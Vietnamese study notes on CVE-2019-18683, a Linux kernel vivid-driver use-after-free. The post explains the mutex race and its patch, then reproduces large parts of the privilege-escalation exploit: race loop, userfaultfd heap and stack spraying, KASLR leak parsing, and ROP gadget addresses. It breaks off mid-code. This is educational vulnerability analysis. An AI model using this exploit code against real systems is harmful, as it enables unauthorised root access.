This page looks best with JavaScript enabled

Tìm hiểu về CVE-2019-18683

 ·  ☕ 25 min read  ·  🐉 Edisc
Bài viết này nhằm mục đích ghi lại những kiến thức đã học để nhớ và hiểu rõ hơn. Bài viết tham khảo chủ yếu từ CVE-2019-18683: Exploiting a Linux kernel vulnerability in the V4L2 subsystem

Vulnerabilities

chúng ta tải source code kernel về và xem tại: linux-x/drivers/media/platform/vivid/
  • Lỗ hổng bắt nguồn từ sai sót trong hiện thực, sử dụng mutex lock của driver vivid trong subsystem V4L2 - (drivers/media/platform/vivid). Driver này không yêu cầu bất cứ phần cứng đặc biệt nào. Nó đóng vai trò như một kernel module (CONFIG_VIDEO_VIVID=m) trong các hệ điều hành như: Ubuntu, Debian, Arch Linux, SUSE Linux Enterprise, and openSUSE.
  • Driver vivid mô phỏng phần cứng video4linux của nhiều loại: video capture, video output, radio receivers and transmitters and a software defined radio receivers. Những input và output sẽ hoạt động giống như những thiết bị vật lí thật, do đó, nó cho phép ứng dụng thực hiện mà không cần bất cứ thiết bị phần cứng đặc biệt nào.
  • Trên Ubuntu, những thiết bị được tạo bởi driver vivid đều hoạt động cho người dùng bình thường, vì ubuntu sử dụng RW USAL khi người dùng đăng nhập

open, read và close trong vivid

open

Hàm này thì không có gì đặc biệt với trường hợp lỗi này, nó chỉ đơn giản được gọi để bật thiết bị

read

Chúng ta cùng theo flow của lệnh read này

stateDiagram
read --> vfd_read
vfd_read --> vb2_fop_read
vb2_fop_read --> __vb2_perform_fileio
__vb2_perform_fileio --> vb2_core_reqbufs
vb2_core_reqbufs --> vb_queue_alloc
__vb2_perform_fileio --> vb2_core_qbuf
__vb2_perform_fileio --> vb2_core_streamon
vb2_core_streamon --> vb2_start_streaming
vb2_start_streaming --> __enqueue_in_driver
vb2_start_streaming --> vbi_cap_start_streaming
__vb2_perform_fileio --> vb2_core_dqbuf
  • vb2_queue: hàng đợi này sẽ chứa vb2_buffer của ứng dụng, được lưu ở `vb2_queue->bufs)
  • vb2_buffer: lưu thông tin về các hoạt động của video stream. Khi lệnh read thực hiện, nó gọi vb_queue_alloc để cấp phát vùng nhớ (kmalloc-1k) để chứa những thông tin từ vb2_buffer và sau đó lấy những thông tin này ra để thực hiện.
  • Quá trình data streaming thực chất là quá trình viết và đọc từ buffer vb2_buffer được thêm vào vb2_queue (vb2_queue->queued_list)
  • Điều chú ý ở đây, khóa dev->mutex của vb2_fop_read và khóa tại vb2_queue->lock là một khóa. xem hiện thực tại đây
  • Sau khi vb_buffer được thêm vào hàng đợi, chương trình sẽ bắt đầu streaming, gọi vb2_start_streaming để đưa dữ liệu vào vb_buffer. Quá trình này nó sẽ gọi __enqueue_in_driver để thêm buffer vào vivid_dev, hàng đợi vid_cap_active để được xử lí.
  • Quá trình trên tương đương với việc gọi hàm vid_cap_buf_queue
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
static void vid_cap_buf_queue(struct vb2_buffer *vb)
{
    struct vb2_v4l2_buffer *vbuf = to_vb2_v4l2_buffer(vb);
    struct vivid_dev *dev = vb2_get_drv_priv(vb->vb2_queue);
    struct vivid_buffer *buf = container_of(vbuf, struct vivid_buffer, vb);

    spin_lock(&dev->slock);
    list_add_tail(&buf->list, &dev->vid_cap_active);//
    spin_unlock(&dev->slock);
}

Sau đó gọi vid_cap_start_streaming, hàm này sẽ gọi vivid_start_generating_vid_cap để khởi tạo 1 kernel thread thực hiện hàm vivid_thread_vid_caption

1
2
dev->kthread_vid_cap = kthread_run(vivid_thread_vid_cap, dev,
            "%s-vid-cap", dev->v4l2_dev.name);
  • Hàm vivid_thread_vid_cap này có nhiệm vụ đưa dữ liệu vào vb2_buffer. Sau dữ liệu được đưa xong, nó sẽ bước vòng 1 vòng lặp vô hạn, ngồi đợi lấy khóa lock(mutex_lock(&dev->mutex)), khi nhận được khóa, dữ liệu trên vb2_buffer mới được xử lí.
  • Như đã nói, vb2_fop_read cũng có khóa, và khóa này với khóa ở bước trên vivid_thread_vid_cap là một, điều này có nghĩa, khi thread đang thực hiện vivid_thread_vid_cap mở khóa, một thread nào đó thực hiện vb2_fop_read có khóa, nó có thể vào vùng nhớ này để thực hiện. Giống như ngôi nhà chỉ có thể chưa 1 người, có 2 người giữ chìa khóa, khi 1 người bên trong đi ra, người còn lại nếu đang giữ chìa khóa, anh ta hoàn toàn có thể vào căn nhà. Căn nhà ở đây là vb2_buf, còn 2 người lần lượt là 2 thread đang chạy vivid_thread_vid_capvb2_fop_read.
    Nhưng tại sao đang giữ khóa rồi lại mở khóa, sau đó lại chờ có lại khóa, tôi vẫn chưa hiểu tại sao lại như thế, nhưng đây chính là nguyên nhân gây ra CVE này.
  • Quan sát kĩ hơn về hàm vb2_core_dqbuf:
stateDiagram
vb2_core_dqbuf --> __vb2_get_done_vb
__vb2_get_done_vb --> __vb2_wait_for_done_vb
__vb2_wait_for_done_vb --> vb2_ops_wait_prepare
__vb2_wait_for_done_vb --> vb2_ops_wait_finish

Ở đây, vb2_ops_wait_prepare sẽ trả khóa vb2_queue->lock, vb2_ops_wait_finish sẽ chờ nhận khóa và kết thúc.
Hay nói cách khác, vb2_core_dqbuf sẽ trả khóa, vivid_thread_vid_cap có khóa sẽ vào thực hiện, vb2_core_dqbuf phải chờ vivid_thread_vid_cap thực hiện xong, đưa lại khóa rồi mới hoàn tất việc của mình.
Vấn đề chính là ở bước này. giống như việc bạn mượn phòng trong vòng 45’ rồi bạn phải khóa phòng, đem chìa khóa xuống cho bảo vệ để bảo vệ lên kiểm tra, bảo vệ kiểm tra xong sẽ đưa lại chìa khóa cho bạn để bạn vào phòng tiếp. Nhưng trong quá trình bạn đem chìa khóa xuống cho bảo vệ thì 1 người khác có được chiếc chìa khóa này, họ hoàn toàn có thể vào phòng lúc này. Kì vọng của người lập trình là muốn vivid_thread_vid_cap đi vào khi vb2_core_dqbuf trả khóa, nhưng lúc này, nếu 1 process khác đang chạy và gọi vb2_fop_read thì họ sẽ có được chìa khóa này.

  • Bên dưới là ảnh khi debug, có thể thấy mặc dù hàm vivid_thread_vid_cap đã thực thi xong hết rồi vb2_fop_read không kết thúc ngay, nó lại gọi vb2_core_qbuf một lần nữa. Khi đó, hàm này lại vào đọc dữ liệu mà vốn dĩ đà được thực hiện xong bởi 1 process khác. Khi nó gọi __enqueue_in_driver, vb2_buffer sẽ được thêm vào hàng đợi dev->vid_cap_active để thực hiện. Sau đó vb2_fop_read mới kết thúc. Điều này dẫn tới, sau khi vb2_fop_read kết thúc, thì địa vb2_buffer lại được lưu trong dev->vid_cap_active để chuẩn bị cho 1 process khác thực hiện.
  • Khi tìm hiểu về dev->vid_cap_active thì tôi thấy nó được sử dụng bởi 3 hàm: vivid_thread_vid_cap, vid_cap_start_streamingvivid_stop_generating_vid_cap.
    • vivid_thread_vid_cap: lấy tất cả dữ liệu trong hàng đợi vid_cap_active ra, do đó, sau khi thực hiện xong, buffer sẽ không còn trong hàng đợi.
    • vid_cap_start_streaming mục đích chính là kiểm tra xem trạng thái của buffer và thực hiện một số chuyển đổi, sau khi thực hiện xong, buffer vẫn còn trong hàng đợi.
    • vivid_stop_generating_vid_cap được dùng trong hàm close(fd), dùng để xóa tất cả các dữ liệu trong hàng đợi, bao gồm cả buffer.

close

Chúng ta đã tìm hiểu về hàm read và thấy rằng sau khi thực hiện hàm read, vb2_buffer lại được 1 process khác đưa vào hàng đợi để chuẩn bị cho quá trình thực hiện. Vậy khi process hiện tại thực hiện xong lệnh close thì vb2_buffer sẽ bị ảnh hưởng như thế nào? Chúng ta hãy cùng xem flow khi gọi hàm close

stateDiagram
vivid_fop_release --> vb2_fop_release
vb2_fop_release --> vb2_queue_release
vb2_queue_release --> vb2_core_queue_release
vb2_core_queue_release --> __vb2_cleanup_fileio
__vb2_cleanup_fileio --> vb2_core_streamoff
vb2_core_streamoff --> __vb2_queue_cancel
__vb2_queue_cancel --> vivid_stop_generating_vid_cap
__vb2_cleanup_fileio --> vb2_core_reqbufs
vb2_core_reqbufs --> __vb2_queue_free

Nhìn vào lược đồ trên, ta thấy khá đơn giản, tuy nhiên có một chú ý:

  • Hàm vivid_stop_generating_vid_cap trả khóa, rồi gọi kthread_stop để dừng kernel thread đang thực hiện hàm vivid_thread_vid_cap.
    Nếu như kết thúc hàm read() nó chỉ tạo ra một nguy cơ xảy ra lỗi uaf, thì tại đây chính là nguyên nhân gây ra lỗi uaf.
1
2
3
4
	mutex_unlock(&dev->mutex);
    kthread_stop(dev->kthread_vid_cap);
    dev->kthread_vid_cap = NULL;
    mutex_lock(&dev->mutex);

Sau khi vivid_stop_generating_vid_cap thực hiện xong, nó sẽ gọi hàm __vb2_queue_free để giải phóng vb2_queue->bufsvb2_buffer, ròi đóng process hiện tại. Đừng quên rằng, vb2_buffer ngay lúc này đang được 1 process khác đưa vào hàng đợi vid_cap_active để chuẩn bị thực thi. Điều này dẫn tới lỗi UAF

Bugs and Fixes

  • Tác giả sử dụng skyzkaller fuzzer với những tùy chỉnh trong kernel source code và thấy những crash trong kernel. KASAN phát hiện ra lỗi use-after-free trong các thao tác danh sách liên kết trong vid_cap_buf_queue(). Nguyên nhân là do sự sai sót trong quá trình sử dụng khóa (mutex lock) trong vivid_stop_generating_vid_cap(), vivid_stop_generating_vid_out() và sdr_cap_stop_streaming().
  • Những hàm trên được gọi khi bị khóa vivid_dev.mutex, quá trình streaming bị dừng. Chúng cùng mắc phải một lỗi là khi muốn dừng kthreads thì nó cũng cần phải khóa mutex này. Ví dụ, trong hàm vivid_stop_generating_vid_cap():
1
2
3
4
5
6
	/* shutdown control thread */
	vivid_grab_controls(dev, false);
	mutex_unlock(&dev->mutex);
	kthread_stop(dev->kthread_vid_cap);
	dev->kthread_vid_cap = NULL;
	mutex_lock(&dev->mutex);
  • Tuy nhiên, khi mutex được unlocked, một hàm khác vb2_fop_read() có thể khóa nó thay vì kthread và thao tác trên hàng đợi (buffer queue). Điều này dẫn tới khả năng xảy ra use-after-free sau này khi streaming hoạt động trở lại.
    chưa biết cách sử dụng skyzkaller fuzzer.
    Vì sao dẫn tới khả năng xảy ra use-after-free? (đã trả lời trong cơ chế hàm read, close trong vivid)
  • Để giải quyết tình trạng trên, tác giả đề xuất như sau:
  1. Không mở khóa mutex khi stream dừng. Ví dụ ở hàm vivid_stop_generating_vid_cap() chúng ta sẽ bỏ 2 hàm:
1
2
3
4
5
6
	/* shutdown control thread */
	vivid_grab_controls(dev, false);
-	mutex_unlock(&dev->mutex);
	kthread_stop(dev->kthread_vid_cap);
	dev->kthread_vid_cap = NULL;
-	mutex_lock(&dev->mutex); 
  1. Sử dụng mutex_trylock() với schedule_timeout_uninterruptible() trong vòng lặp của vivid kthread handler. Hàm xử lí vivid_thread_vid_cap() được thay đổi như sau:
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
  	for (;;) {
  		try_to_freeze();
  		if (kthread_should_stop())
  			break;
-		mutex_lock(&dev->mutex);
+		if (!mutex_trylock(&dev->mutex)) {
+			schedule_timeout_uninterruptible(1);
+			continue;
+		}
  		...
  	}

Nếu mutex này không hoạt động, kthread sẽ ngủ trong giây lát rồi thử lại. Trong trường hợp xấu nhất, kthread sẽ ngủ vài lần và chạm đến break để thoát khỏi vòng lặp hiện tại.

Winning the race

  • Chúng ta đã hiểu tại sao lại vivid lại có thể dẫn tới lỗi UAF, bây giờ chúng ta sẽ tiến hành khai thác lỗi này.
  • Để test kernel, chúng ta cần đảm bảo:
    • Đã có vivid driver
    • /dev/video0 is the V4L2 capture device
    • Chúng ta đã login
  1. Chúng ta tạo 2 pthreads. Trường hợp này, bắt buộc sử dụng ched_setaffinity để racing tốt hơn.
1
2
3
4
5
6
7
	cpu_set_t single_cpu;

	CPU_ZERO(&single_cpu);
	CPU_SET(cpu_n, &single_cpu);
	ret = sched_setaffinity(0, sizeof(single_cpu), &single_cpu);
	if (ret != 0)
		err_exit("[-] sched_setaffinity for a single CPU");
  1. Chúng ta tiến hành race
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
	for (loop = 0; loop < LOOP_N; loop++) {
		int fd = 0;

		fd = open("/dev/video0", O_RDWR);
		if (fd < 0)
			err_exit("[-] open /dev/video0");

		read(fd, buf, 0xfffded);
		close(fd);
	}
  • Khai bắt đầu streaming hàm vid_cap_start_streaming() sẽ , được gọi bởi V4L2 trong khi vb2_core_streamon() đọc từ file descriptor.
  • Khi dừng streaming, hàm vivid_stop_generating_vid_cap() sẽ được V4L2 gọi trong khi __vb2_queue_cancel() sẽ giải phóng tham khảo cuối cùng đến file.
  • Do đó, nếu một trình đọc khác “chiến thắng” kthreads, nó sẽ gọi vb2_core_qbuf(), hàm này sẽ thêm vb2_buffer vào vb2_queue.queued_list.
  • Khi chạy đoạn code trên, chúng ta có thể sẽ được kết quả như sau:
    poc_crash.jpg
  • Ta có 2 thread chạy trên 2 CPU khác nhau, màu đỏ đại diện thread A, màu xanh đại diện thread B
Thread A Thread B
Chạy vb2_core_dqbuf, trả khóa (giả sử vivid_thread_vid_cap đã có khóa)
vb2_fop_read lấy được khóa, thực hiện và có vẻ không thỏa mãn điều kiện nào đó nên dừng, trả khóa lại
vivid_thread_vid_cap nhận được khóa, giải phóng buffer
thực hiện hàm close(fd), gọi hàm vivid_stop_genrating_vid_cap để xóa hàng đợi vid_cap_active ra khỏi thiết bị, trả khóa (hi vọng vivid_thread_vid_cap sẽ lấy được khóa này)
vb_core_dqbuf lấy được khóa, gọi __enqueue_in_driver để thêm vb2_buffer vào hàng đợi. Thực hiện lệnh read và giải phóng khóa
vivid_stop_generating_vid_cap nhận được khóa và thực hiện lệnh close(fd) để đóng process và giải phóng vùng nhớ vb2_buffer, vùng nhớ này vẫn còn nằm trong hàng đợi vid_cap_active, và có thể được dùng cho lần đọc tiếp teho -> lỗi UAF
Bước vào vòng lặp mới, đợi có khóa để gọi vivid_thread_vid_cap để đưa vùng nhớ vb2_buffer cũ vừa bị kfree vào vivid_fillbuff vì vùng nhớ bị kfree nên sẽ bị xóa đi những trường cần thiết cho quá trình thực hiện, nên sau đó chương trình sẽ bị crash

Deceived V4L2 sub system

  • Khi streaming dừng hẳn, tham khảo cuối cùng tới /dev/video0 được giải phóng, V4L2 subsystem calls sẽ gọi vb2_core_queue_release() để giải phóng tài nguyên. Hệ thống sẽ lần lượt gọi __vb2_queue_free() để giải phóng vb2_buffer - đã được thêm vào hàng đợi khi mà exploit cảu chúng ta thắng race.
    Tuy nhiên, driver không biết điều đó và vẫn giữ tham khảo đến một object đã được giải phóng. Khi stream bắt đầu lại, nó sẽ nhảy vào exploit loop, vivid driver sẽ chạm đến đối tượng bị giải phóng và điều này đã được KASAN phát hiện.

Heap spraying

  • Heap spraying là kĩ thuật, mục đích đặt những controlled bytes vào những vị trí có thể xác định trước trên heap. Kĩ thuật này thường liên quan tới việc cấp phát nhiều đối tượng trên heap với controlled contents và làm sao để một số allocator để cấp phát ngay vùng nhớ trên.
  • Heap spraying sử dụng để khai thác use-after-free trong Linux Kernel sẽ thường dùng kmalloc() vì hàm này sẽ trả về địa chỉ của vùng nhớ vừa được free. Do đó, nếu cấp phát một đối tượng, cùng địa chỉ với controlled contents sẽ cho phép chúng ta ghi đè vùng nhớ có thể khai thác.
    uaf
    Ảnh tham khảo từ: https://a13xp0p0v.github.io/2020/02/15/CVE-2019-18683.html
  • Kĩ thuật này có thể được triển khai bằng cách sử dụng kết hợp userfaultfd() + setxattr() với ý tưởng chính rằng userfaultfd() sẽ cho phép chúng ta kiểm soát được lifetime của dữ liệu được cấp phát bởi setxattr() trong kernelspace.
  • Quay trở về với lỗ hổng này, vb2_buffer sẽ được free khi streaming dừng và sẽ được use ở lần streaming tiếp theo. Do đó, nếu chúng ta sử dụng kĩ thuật heap spraying vào cuối vòng lặp thứ nhất trước khi streaming stop thì khi streaming bắt đầu ở vòng lặp kế tiếp thì chúng ta có thể dùng kmalloc() để cấp phát vùng nhớ vừa free ở cuối vòng lặp trước với controlled data.
  • Tuy nhiên, lúc bấy giờ, tác giả phát hiện ra một vấn đề: vùng nhớ vb2_buffer không phải là vùng nhớ cuối cùng được giải phóng bởi __vb2_queue_free(), do đó, ở vòng lặp tiếp theo, khi gọi kmalloc) thì nó sẽ không trả về đúng địa chỉ mà chúng ta cần. Vì thế, chúng ta cần phải allocate nhiều lần để có thể cấp phát đúng được vị trí mong muốn.
  • Nhưng muốn áp dụng điều trên với hai hàm userfaultfd() + setxattr() là không dễ dàng vì: dữ liệu do setxattr() cấp phát chỉ tồn tại cho đến khi trình xử lí lỗi trang userfaultfd() gọi hàm ioctl với flag UFFDIO_COPY. Hay nói cách khác, muốn dữ liệu được cấp phát bởi setxattr() không bị mất thì userfaultfd() không gọi ioctl. Tác giả giải quyết vấn đề này bằng cách tạo ra một pool of threads: mỗi thread này được gọi là spraying thread, gọi hàm setxattr() được xử lí bởi userfaultfd() và lưu dữ liệu được cấp phát.

Tôi vẫn chưa biết tât cả các spraying thread đều được xử lí bởi userfaultfd() hay mỗi spraying thread sẽ có 1 userfaultfd() tương ứng (sẽ được giải thích ở những mục dưới)

Bây giờ, chúng ta sẽ viết payload gì vào vb2_buffer?

Control flow hijack for V4L2 subsystem

Lược đồ dưới đây đặc tả sơ lược mối quan hệ giữa các object trong V4L2 subsystem
v4l2_objects.png
Tại đây thì tác giả bảo ông ấy tốn khá nhiều thời gian để tìm cách ghi nội dung tùy ý vào vb2_buffer và bằng một cách thần kỳ nào đó, ông ta đã tìm ra con đường như trên lược đồ:
vb2_buffer.vb2_queue->mem_ops->vaddr
Dễ thấy, hàm vaddr() nhận vb2_buffer.planes[0].mem_priv làm tham số.

Unexpected troubles: kthread context

  • Chúng ta bắt đầu viết những payload để V4L2 chạm tới con trỏ hàm này.
  1. Tắt SMAP (Supervisor Mode Access Prevention), SMEP (Supervisor Mode Execution Prevention), KPTI (Kernel Page-Table Isolation)
  2. Làm vb2_buffer.vb2_queue trỏ tới một vùng nhớ được ánh xạ trên userspace.
  3. Deferencing con trỏ này sẽ cho lỗi "unable to handle page fault".
    Lí do trả về lỗi vì con trỏ mà chúng ta muốn deferencing đang ở kernel thread context, nơi mà userspace không thể ánh xạ tới. Do đó, vấn đề lúc bây giờ, làm sao đặt vb2_queuevb2_mem_ops tại những vùng nhớ mà biết được địa chỉ, và có thể truy cập từ kthread context.
  • Trong hàm __vb2_queue_cancel() cho phép chúng ta gửi những cảnh báo (warning), điều đó có nghĩa chúng ta có thể phân tích cú pháp của kernel warning information (có thể thực hiện trên các ubuntu server). Điều này cho phép chúng ta đưa payload vào kernel stackvà giữ nó bằng userfaultfd(), giống như kĩ thuật heap spraying sử dụng userfaultfd() + setxattr(). Hàm copy_from_user() sẽ giúp ta đưa dữ liệu vào kernel stack.
  • Chúng ta sẽ phân tích cú pháp của warning để lấy địa chỉ của kernel stack và dự đoán dự đoán địa chỉ của payload.

Exploit Orchestra

  1. Tạo ra pool of threads và đồng bộ hóa chúng bằng hàm pthread_barriers. Dưới đây là code pthread_barriersđược đặt tại các con trỏ tham khảo chính trong suốt quá trình khai thác
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
#define err_exit(msg) do { perror(msg); exit(EXIT_FAILURE); } while (0)

#define THREADS_N 50

	pthread_barrier_t barrier_prepare;
	pthread_barrier_t barrier_race;
	pthread_barrier_t barrier_parse;
	pthread_barrier_t barrier_kstack;
	pthread_barrier_t barrier_spray;
	pthread_barrier_t barrier_fatality;

	...

	ret = pthread_barrier_init(&barrier_prepare, NULL, THREADS_N - 3);
	if (ret != 0)
		err_exit("[-] pthread_barrier_init");

	ret = pthread_barrier_init(&barrier_race, NULL, 2);
	if (ret != 0)
		err_exit("[-] pthread_barrier_init");

	ret = pthread_barrier_init(&barrier_parse, NULL, 3);
	if (ret != 0)
		err_exit("[-] pthread_barrier_init");

	ret = pthread_barrier_init(&barrier_kstack, NULL, 3);
	if (ret != 0)
		err_exit("[-] pthread_barrier_init");

	ret = pthread_barrier_init(&barrier_spray, NULL, THREADS_N - 5);
	if (ret != 0)
		err_exit("[-] pthread_barrier_init");

	ret = pthread_barrier_init(&barrier_fatality, NULL, 2);
	if (ret != 0)
		err_exit("[-] pthread_barrier_init");
  • Mỗi thread có một vai trò riêng. Trong trường hợp này, ta dùng 50 thread với 5 vai trò khác nhau:
    • 2 racer threads
    • (THREADS_N - 6) = 44 sprayer pthreads, những thread này sẽ giữ setxattr() được xử lí bởi userfaultfd()
    • 2 pthread cho userfaulfd() xử lí page fault. Đến đây tôi đã giải đáp được thắc mắc ở trên, 2 thread cho userfaultfd() xử lí cho 44 sprayer pthreads.
    • 1 pthread cho phân tích /dev/kmsg và xử lí payload
    • 1 fatility pthread chịu trách nhiệm kích hoạt leo thang đăc quyền - privilege escalation.
Những con số này từ đâu mà ra hay chỉ chọn random?
  • Những thread với những vai trò khác nhau sẽ được đồng bộ hóa tại các pthread_barries khác nhau. Tham số cuối cùng của pthread_barrier_init() chỉ định số thread PHẢI gọi pthread_barrier_wait() cho từng barrier cụ thể trước khi nó tiếp tục giao tiếp với nhau.
  • Bảng sau sẽ mô tả chi tiết tất cả các pthread với vai trò khai thác của nó, đồng bộ hóa qua pthread_barrier_wait(). barrier được liệt kê theo trình tự thời gian thực hiện. Bảng này nên được đọc theo từng dòng và đừng quên, các pthread đang thực hiện song song.
pthreads 2 racers 44 sprayers page fault hander #1 page fault hander #2 kmsg parser fatality
1. barrier_prepare
(for 47 pthreads)
wait on barrier 1. create files in tmpfs for doing setxattr() later
2. wait on barrier
1. open /dev/kmsg
2. wait on barrier
2. barrier_race
(for 2 pthreads)
1. usleep() to let other pthread go to their next barrier
2. wait on barrier
3. race
3. barrier_parse
(for 3 pthreads)
wait on barrier 1. wait on barrier
2. parse the kernel warning to extract RSP and R11 (contains a pointer to code)
3. Calculate the address of the kernel stack top and the KASLR offset.
adapt the pointers in the payloads for kernel heap and stack.
4. barrier_kstack
(for 3 pthreads)
1. wait on barrier
2. place the kernel stack payload via adjtimex() and hang
wait on barrier
5. barrier_spray
(for 45 pthreads)
1. wait on barrier
2. place the kernel heap payload via setxattr() and hang
1. catch 2 page faults from adjtimex() called by racers.
2. wait on barrier
6. barrier_fatality
(for 2 pthreads)
1. catch 44 page faults from setxattr() called by sprayers
2. wait on barrier
1. wait on barrier
2. trigger the payload for privilege escalation
3. the end!
Chưa nắm vững / hiểu rõ các pthread được liệt kê trong bảng trên
  • Vấn đề đặt ra với tôi bây giờ là làm sao để điều khiển các thread giống như table trên. Quay lại môn OS và nhận ra mình chả nhớ gì cả == hậu quả của việc học vẹc. Bây giờ bắt đầu học về nó…
    Oke, đã hiểu, chúng ta có barrier là rào cản, khi đủ thread thì nó sẽ mở cửa, vậy làm sao mình quản lí được khi nào cần 2 thread, khi nào cần 44 thread? Đơn giản chúng ta dự vào function, và đặt barrier vào cuối những function trên. Good, Tôi đã hiểu được đoạn này và đã có idea tiếp tục làm.

Anatomy of the exploit payload

  • Payload sẽ được tạo ở 2 nơi:
  1. Trong kernel heap bằng sprayer threads bằng cách sử dụng hàm setxattr() được xử lí bởi userfaultfd()
  2. Trong kernel stack bằng racer threads bằng cách sử dụng adjtimex() được xử lí bởi userfaultfd(). System call này được chọn vì nó có gọi hàm copy_from_user() tới kernel stack.
  • Payload gồm 3 phần:
  1. vb2_buffer trong kernel heap.
  2. vb2_queue trong kernel stack.
  3. vb2_mem_ops: trong kernel stack.
  • Dưới đây là chương trình tạo payload. Bắt đầu phần khai thác, ta chuẩn bị nội dung của payload ở userspace, vùng nhớ được tạo bởi setxattr() syscall sẽ được đưa vào kernel heap.
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32

#define MMAP_SZ 0x2000
#define PAYLOAD_SZ 504

void init_heap_payload()
{
	struct vivid_buffer *vbuf = NULL;
	struct vb2_plane *vplane = NULL;

	for_heap = mmap(NULL, MMAP_SZ, PROT_READ | PROT_WRITE,
					MAP_SHARED | MAP_ANONYMOUS, -1, 0);
	if (for_heap == MAP_FAILED)
		err_exit("[-] mmap");

	printf(" [+] payload for_heap is mmaped to %p\n", for_heap);

	/* Don't touch the second page (needed for userfaultfd) */
	memset(for_heap, 0, PAGE_SIZE);

	xattr_addr = for_heap + PAGE_SIZE - PAYLOAD_SZ;

	vbuf = (struct vivid_buffer *)xattr_addr;

	vbuf->vb.vb2_buf.num_planes = 1;
	vplane = vbuf->vb.vb2_buf.planes;
	vplane->bytesused = 16;
	vplane->length = 16;
	vplane->min_length = 16;

	printf(" [+] vivid_buffer of size %lu is at %p\n",
					sizeof(struct vivid_buffer), vbuf);
}
  • adjtimex() syscall ghi dữ liệu vào kernel stack
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
#define PAYLOAD2_SZ 208

void init_stack_payload()
{
	for_stack = mmap(NULL, MMAP_SZ, PROT_READ | PROT_WRITE,
					MAP_SHARED | MAP_ANONYMOUS, -1, 0);
	if (for_stack == MAP_FAILED)
		err_exit("[-] mmap");

	printf(" [+] payload for_stack is mmaped to %p\n", for_stack);

	/* Don't touch the second page (needed for userfaultfd) */
	memset(for_stack, 0, PAGE_SIZE);

	timex_addr = for_stack + PAGE_SIZE - PAYLOAD2_SZ + 8;
	printf(" [+] timex of size %lu is at %p\n",
				sizeof(struct timex), timex_addr);
}
  • Sau khi bị race condition, pthread sẽ phân tích cú pháp của kmsg, trích xuất thông tin từ kernel warning:
    • Giá trị RSP để tính địa chỉ đỉnh của kernel stack
    • Giá trị R11 trỏ đến một số vị trí không đổi trong kernel code. Giá trị này giúp tính toán offset của KASLR.
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
#define R11_COMPONENT_TO_KASLR_OFFSET 0x195d80d
#define KERNEL_TEXT_BASE 0xffffffff81000000

kaslr_offset = strtoul(r11, NULL, 16);
kaslr_offset -= R11_COMPONENT_TO_KASLR_OFFSET;
if (kaslr_offset < KERNEL_TEXT_BASE) {
    printf("bad kernel text base 0x%lx\n", kaslr_offset);
    err_exit("[-] kmsg parsing for r11");
}
kaslr_offset -= KERNEL_TEXT_BASE;
  • Sau đó, pthread phân tích cú pháp của kmsg, điều chỉnh payload trên heap và stack.
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
	#define TIMEX_STACK_OFFSET 0x1d0
	#define LIST_OFFSET 24
	#define OPS_OFFSET 64
	#define CMD_OFFSET 172

	struct vivid_buffer *vbuf = (struct vivid_buffer *)xattr_addr;
	struct vb2_queue *vq = NULL;
	struct vb2_mem_ops *memops = NULL;
	struct vb2_plane *vplane = NULL;

	printf("Adapt payloads knowing that kstack is 0x%lx, kaslr_offset 0x%lx:\n",
		kstack,
		kaslr_offset);

	/* point to future position of vb2_queue in timex payload on kernel stack */
	vbuf->vb.vb2_buf.vb2_queue = (struct vb2_queue *)(kstack - TIMEX_STACK_OFFSET);
	vq = (struct vb2_queue *)timex_addr;
	printf("   vb2_queue of size %lu will be at %p, userspace %p\n",
		sizeof(struct vb2_queue),
		vbuf->vb.vb2_buf.vb2_queue,
		vq);

	/* just to survive vivid list operations */
	vbuf->list.next = (struct list_head *)(kstack - TIMEX_STACK_OFFSET + LIST_OFFSET);
	vbuf->list.prev = (struct list_head *)(kstack - TIMEX_STACK_OFFSET + LIST_OFFSET);

	/*
	* point to future position of vb2_mem_ops in timex payload on kernel stack;
	* mem_ops offset is 0x38, be careful with OPS_OFFSET
	*/
	vq->mem_ops = (struct vb2_mem_ops *)(kstack - TIMEX_STACK_OFFSET + OPS_OFFSET);
	printf("   mem_ops ptr will be at %p, userspace %p, value %p\n",
		&(vbuf->vb.vb2_buf.vb2_queue->mem_ops),
		&(vq->mem_ops),
		vq->mem_ops);

	memops = (struct vb2_mem_ops *)(timex_addr + OPS_OFFSET);

	/* vaddr offset is 0x58, be careful with ROP_CHAIN_OFFSET */
	memops->vaddr = (void *)ROP__PUSH_RDI__POP_RSP__pop_rbp__or_eax_edx__RET + kaslr_offset;
	printf("   mem_ops struct of size %lu will be at %p, userspace %p, vaddr %p at %p\n",
		sizeof(struct vb2_mem_ops),
		vq->mem_ops,
		memops,
		memops->vaddr,
		&(memops->vaddr));

Lược đồ thể hiện mối quan hệ giữa các thành phần bên trong kernel memory.
v4l2_payload.png

Chưa thực sự hiểu lược đồ

ROP’n’JOP

  • Tiếp theo sẽ tạo ra ROP chain để khai thác lỗi.
    Từ lược đồ, có thể thấy void *(*vaddr)(void *buf_priv) là nơi chúng ta kiểm soát luồng thực thi để tấn công. Tham số buf_priv được lấy từ vb2_plane.mem_priv và giá trị này thuộc quyền kiểm soát của chúng ta.
  • Trong linux kernel x86_64, tham số đầu của hàm sẽ được lưu trong thanh ghi RDI, Vì thế chuỗi lệnh push rdi; pop rsp sẽ đưa stack pointer tới nơi mà chúng ta muốn RDI.
  • Tiêp theo ROP chain cho mục đích leo thang đặc quyền:
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
#define ROP__PUSH_RDI__POP_RSP__pop_rbp__or_eax_edx__RET 0xffffffff814725f1
#define ROP__POP_R15__RET 0xffffffff81084ecf
#define ROP__POP_RDI__RET 0xffffffff8101ef05
#define ROP__JMP_R15 0xffffffff81c071be
#define ADDR_RUN_CMD 0xffffffff810b4ed0
#define ADDR_DO_TASK_DEAD 0xffffffff810bf260

unsigned long *rop = NULL;
